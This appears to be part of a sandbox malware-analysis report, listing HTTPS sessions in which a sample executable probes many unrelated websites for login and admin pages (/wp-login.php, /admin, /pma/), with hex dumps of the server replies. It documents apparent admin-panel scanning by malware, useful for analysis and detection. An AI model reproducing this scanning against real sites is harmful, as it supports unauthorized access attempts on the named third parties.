2023-11-26 05:59:42 UTC	1378	IN	Data Raw: 6f 72 20 6f 63 63 75 72 65 64 20 77 68 69 6c 65 20 73 65 74 74 69 6e 67 20 53 68 61 72 65 64 43 6f 6e 74 65 78 74 22 2c 65 29 7d 7d 7d 7d 2c 38 65 33 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 4c 3a 28 29 3d 3e 64 2c 52 3a 28 29 3d 3e 63 7d 29 3b 76 61 72 20 72 3d 6e 28 38 33 32 35 29 2c 69 3d 6e 28 31 32 38 34 29 2c 61 3d 6e 28 34 33 32 32 29 2c 6f 3d 6e 28 33 33 32 35 29 3b 63 6f 6e 73 74 20 73 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 29 7b 63 6f 6e 73 74 20 6e 3d 7b 73 74 61 67 65 64 3a 21 31 2c 70 72 69 6f 72 69 74 79 3a 6f 2e 70 5b 74 5d 7c 7c 30 7d 3b 75 28 65 29 2c 73 5b 65 5d 2e 67 65 74 28 74 29 7c 7c 73 5b 65 5d 2e 73 65 74 28 74 2c 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b Data Ascii: or occured while setting SharedContext",e)}}}},8e3:(e,t,n)=>{"use strict";n.d(t,{L:()=>d,R:()=>c});var r=n(8325),i=n(1284),a=n(4322),o=n(3325);const s={};function c(e,t){const n={staged:!1,priority:o.p[t]\|\|0};u(e),s[e].get(t)\|\|s[e].set(t,n)}function u(e){
2023-11-26 05:59:42 UTC	1378	IN	Data Raw: 20 6e 3d 72 5b 65 5d 3b 69 66 28 21 6e 29 72 65 74 75 72 6e 3b 66 6f 72 28 76 61 72 20 69 3d 30 3b 69 3c 6e 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 6e 5b 69 5d 3d 3d 3d 74 26 26 6e 2e 73 70 6c 69 63 65 28 69 2c 31 29 7d 2c 65 6d 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 72 2c 69 2c 61 29 7b 21 31 21 3d 3d 61 26 26 28 61 3d 21 30 29 3b 69 66 28 75 2e 61 62 6f 72 74 65 64 26 26 21 69 29 72 65 74 75 72 6e 3b 74 26 26 61 26 26 74 2e 65 6d 69 74 28 65 2c 6e 2c 72 29 3b 66 6f 72 28 76 61 72 20 6f 3d 70 28 72 29 2c 63 3d 76 28 65 29 2c 64 3d 63 2e 6c 65 6e 67 74 68 2c 6c 3d 30 3b 6c 3c 64 3b 6c 2b 2b 29 63 5b 6c 5d 2e 61 70 70 6c 79 28 6f 2c 6e 29 3b 76 61 72 20 66 3d 62 28 29 5b 73 5b 65 5d 5d 3b 66 26 26 66 2e 70 75 73 68 28 5b 67 2c 65 2c 6e 2c 6f 5d 29 3b Data Ascii: n=r[e];if(!n)return;for(var i=0;i<n.length;i++)n[i]===t&&n.splice(i,1)},emit:function(e,n,r,i,a){!1!==a&&(a=!0);if(u.aborted&&!i)return;t&&a&&t.emit(e,n,r);for(var o=p(r),c=v(e),d=c.length,l=0;l<d;l++)c[l].apply(o,n);var f=b()[s[e]];f&&f.push([g,e,n,o]);
2023-11-26 05:59:42 UTC	1378	IN	Data Raw: 3d 7b 67 65 74 20 70 61 73 73 69 76 65 28 29 7b 72 65 74 75 72 6e 20 69 3d 21 30 2c 21 31 7d 2c 67 65 74 20 73 69 67 6e 61 6c 28 29 7b 72 65 74 75 72 6e 20 61 3d 21 30 2c 21 31 7d 7d 3b 72 2e 5f 41 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 2c 72 2e 5f 41 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 69 7c 7c 61 3f 7b 63 61 70 74 75 72 65 3a 21 21 65 2c 70 61 73 73 69 76 65 3a 69 2c 73 69 67 6e 61 6c 3a 74 7d 3a 21 21 65 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 2c 74 29 7b 6c 65 74 20 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 26 Data Ascii: ={get passive(){return i=!0,!1},get signal(){return a=!0,!1}};r._A.addEventListener("test",null,e),r._A.removeEventListener("test",null,e)}catch(e){}function o(e,t){return i\|\|a?{capture:!!e,passive:i,signal:t}:!!e}function s(e,t){let n=arguments.length>2&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
339	192.168.2.4	64233	66.235.200.147	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	258	OUT	GET /admin HTTP/1.1 Host: tradeavenida.com Accept: / Accept-Encoding: deflate, gzip Cookie: _cfuvid=Y9iVqDLjjy.4c42u423kB35hFI4xb1W3CLV4ZRxyw.Y-1700978381430-0-604800000 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	550	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 74 72 61 Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:42 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://tra
2023-11-26 05:59:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
340	192.168.2.4	64236	15.235.14.141	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	165	OUT	GET /pma/ HTTP/1.1 Host: unaj.edu.pe Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	473	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 58 2d 44 72 75 70 61 6c 2d 44 79 6e 61 6d 69 63 2d 43 61 63 68 65 3a 20 48 49 54 0d 0a 58 2d 55 41 2d 43 6f 6d 70 61 74 69 Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:42 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: must-revalidate, no-cache, privateX-Drupal-Dynamic-Cache: HITX-UA-Compati
2023-11-26 05:59:42 UTC	15911	IN	Data Raw: 37 39 36 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 20 64 69 72 3d 22 6c 74 72 22 20 70 72 65 66 69 78 3d 22 63 6f 6e 74 65 6e 74 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 72 73 73 2f 31 2e 30 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6e 74 65 6e 74 2f 20 20 64 63 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 74 65 72 6d 73 2f 20 20 66 6f 61 66 3a 20 68 74 74 70 3a 2f 2f 78 6d 6c 6e 73 2e 63 6f 6d 2f 66 6f 61 66 2f 30 2e 31 2f 20 20 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 20 72 64 66 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 31 2f 72 64 66 2d 73 63 68 65 6d 61 23 20 20 73 63 68 65 6d 61 3a 20 68 74 74 70 3a 2f 2f Data Ascii: 7969<!DOCTYPE html><html lang="es" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://
2023-11-26 05:59:42 UTC	15183	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 2f 65 73 2f 64 65 66 2d 75 6e 69 2d 73 6f 6d 6f 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 44 65 66 65 6e 73 6f 72 c3 ad 61 20 55 6e 69 76 65 72 73 69 74 61 72 69 61 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 6e 61 6a 2e 65 6e 63 69 63 6c 6f 2e 65 73 2f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 42 69 62 6c 69 6f 74 Data Ascii: </a></li><li class="menu-item"><a href="/es/def-uni-somos"> Defensora Universitaria </a></li><li class="menu-item"><a href="https://unaj.enciclo.es/"> Bibliot

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
341	192.168.2.4	64387	45.40.150.54	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	176	OUT	GET /wp-login.php HTTP/1.1 Host: engel-firm.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	856	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6f 70 65 6e 72 65 73 74 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 61 67 65 3a 20 30 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 75 70 67 72 61 64 65 2d 69 6e Data Ascii: HTTP/1.1 200 OKServer: openrestyDate: Sun, 26 Nov 2023 05:59:44 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeage: 0cache-control: no-store, no-cache, must-revalidatecontent-security-policy: upgrade-in
2023-11-26 05:59:42 UTC	7882	IN	Data Raw: 31 65 63 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 4c 61 77 20 46 69 72 6d 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 Data Ascii: 1ec2<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Law Firm — WordPress</title><meta name='robots' content='noindex, follow' /><script type='text/javas
2023-11-26 05:59:42 UTC	593	IN	Data Raw: 32 34 61 0d 0a 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 65 6e 67 65 6c 2d 66 69 72 6d 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 77 70 2d 75 74 69 6c 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 33 2e 32 27 20 69 64 3d 27 77 70 2d 75 74 69 6c 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 69 64 3d 27 75 73 65 72 2d 70 72 6f 66 69 6c 65 2d 6a 73 2d 65 78 74 72 61 27 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 76 61 72 20 75 73 65 72 50 72 6f 66 69 6c 65 4c 31 30 6e 20 3d 20 7b 22 75 73 65 72 5f 69 64 22 3a 22 30 22 2c 22 6e 6f 6e 63 65 22 3a 22 66 34 39 38 32 35 38 33 39 63 22 7d 3b 0a 2f 2a 20 5d 5d 3e 20 2a 2f 0a 3c 2f 73 63 72 Data Ascii: 24aipt' src='https://engel-firm.com/wp-includes/js/wp-util.min.js?ver=6.3.2' id='wp-util-js'></script><script type='text/javascript' id='user-profile-js-extra'>/* <![CDATA[ /var userProfileL10n = {"user_id":"0","nonce":"f49825839c"};/ ... */</scr
2023-11-26 05:59:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
342	192.168.2.4	64473	162.250.126.5	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	180	OUT	GET /wp-login.php HTTP/1.1 Host: mydirectlender.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	527	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 25 32 30 43 6f 6f 6b 69 65 25 32 30 63 68 65 63 6b 3b 20 70 61 74 68 3d 2f 3b 20 73 65 63 75 72 65 0d 0a 78 2d 66 72 61 6d 65 2d 6f 70 74 69 6f 6e 73 Data Ascii: HTTP/1.1 200 OKConnection: closeexpires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8set-cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; securex-frame-options
2023-11-26 05:59:42 UTC	841	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 53 74 61 67 69 6e 67 20 66 6f 72 20 4d 79 44 69 72 65 63 74 4c 65 6e 64 65 72 2e 63 6f 6d 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Staging for MyDirectLender.com — WordPress</title><meta name='robots' content='noindex, nofollow' /><scrip
2023-11-26 05:59:42 UTC	5794	IN	Data Raw: 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 66 6f 72 6d 73 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 66 6f 72 6d 73 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 31 30 6e 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 31 30 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f Data Ascii: nk rel='stylesheet' id='forms-css' href='https://mydirectlender.com/wp-admin/css/forms.min.css?ver=6.4.1' type='text/css' media='all' /><link rel='stylesheet' id='l10n-css' href='https://mydirectlender.com/wp-admin/css/l10n.min.css?ver=6.4.1' type='text/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
343	192.168.2.4	64311	159.203.32.4	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	173	OUT	GET /admin HTTP/1.1 Host: jamiesonmullin.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	176	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 32 39 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:42 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 3029Connection: closeContent-Type: text/html; charset=UTF-8
2023-11-26 05:59:42 UTC	3029	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 2c 20 76 69 65 77 70 6f 72 74 2d 66 69 74 3d 63 6f 76 65 72 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e Data Ascii: <!DOCTYPE html><html><meta content="IE=edge" http-equiv="X-UA-Compatible"> <meta charset="utf-8"/> <meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, viewport-fit=cover" name="viewport"> <meta con

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
344	192.168.2.4	64102	3.111.240.6	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	171	OUT	GET /wp-login.php HTTP/1.1 Host: knu.ac.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	218	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 6e 75 2e 61 63 2e 69 6e 2f 77 70 2d 6c 6f 67 69 6e 2e 70 68 70 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:42 GMTServer: ApacheLocation: https://www.knu.ac.in/wp-login.phpContent-Length: 302Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:42 UTC	302	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 6e 75 2e 61 63 2e 69 6e 2f 77 70 2d 6c 6f 67 69 6e 2e 70 68 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.knu.ac.in/wp-login.php">here</a>.</p><hr><address>Apache Server

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
345	192.168.2.4	64229	172.96.186.206	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	171	OUT	GET /wp-login.php HTTP/1.1 Host: samson.pe Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	555	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 50 48 50 2f 37 2e 32 2e 33 34 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 2b 43 6f 6f 6b 69 65 2b 63 68 65 63 6b 3b 20 70 61 74 68 3d 